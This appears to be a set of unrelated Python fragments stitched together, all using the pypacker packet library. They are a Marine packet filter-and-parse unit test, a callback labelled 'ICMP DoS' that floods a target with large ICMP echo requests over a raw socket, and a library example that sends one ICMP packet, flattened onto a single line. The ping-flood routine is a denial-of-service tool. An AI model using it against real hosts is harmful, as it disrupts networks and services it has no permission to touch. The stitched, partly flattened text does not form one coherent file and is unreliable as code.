def test_icmp_packet_filter_and_parse(marine_or_marine_pool: Union[Marine, MarinePool]):
src_mac = "00:00:00:12:34:ff"
dst_mac = "00:00:00:ff:00:1e"
src_ip = "21.53.78.255"
dst_ip = "10.0.0.255"
icmp_echo_type = 8
bpf_filter = "ip"
display_filter = "icmp"
expected_output = {
"eth.src": src_mac,
"eth.dst": dst_mac,
"ip.src": src_ip,
"ip.dst": dst_ip,
"icmp.type": icmp_echo_type,
}
packet = (
ethernet.Ethernet(src_s=src_mac, dst_s=dst_mac)
+ ip.IP(src_s=src_ip, dst_s=dst_ip, p=ip.IP_PROTO_ICMP)
+ icmp.ICMP(type=icmp_echo_type)
+ icmp.ICMP.Echo()
)
general_filter_and_parse_test(
marine_or_marine_pool=marine_or_marine_pool,
packet=packet.bin(),
packet_encapsulation=encap_consts.ENCAP_ETHERNET,
bpf_filter=bpf_filter,
display_filter=display_filter,
field_templates=None,
expected_passed=True,
expected_output=expected_output,
)
def icmp_cb(pargs):
"""ICMP DoS"""
pkt_icmpreq = ethernet.Ethernet(dst_s=pargs.mac_dst, src_s=pargs.mac_src) +\
ip.IP(src_s=pargs.ip_src, dst_s=pargs.ip_dst, p=ip.IP_PROTO_ICMP) +\
icmp.ICMP(type=8) +\
icmp.ICMP.Echo(id=1, ts=123456789, body_bytes=b"A" * 1460)
psock = psocket.SocketHndl(iface_name=pargs.iface_name)
for cnt in range(pargs.count):
psock.send(pkt_icmpreq.bin())
psock.close()
from pypacker import psocket from pypacker.layer12 import ethernet from pypacker.layer3 import ip, icmp # send ICMP request psock = psocket.SocketHndl(iface_name="wlan0") icmpreq = ethernet.Ethernet(src_s="20:16:d8:ef:1f:49", dst_s="24:65:11:85:e9:00", type=ethernet.ETH_TYPE_IP) +\ ip.IP(p=ip.IP_PROTO_ICMP, src_s="192.168.178.27", dst_s="192.168.178.24") +\ icmp.ICMP(type=8) +\ icmp.ICMP.Echo(id=1, ts=123456789, body_bytes=b"12345678901234567890") psock.send(icmpreq.bin())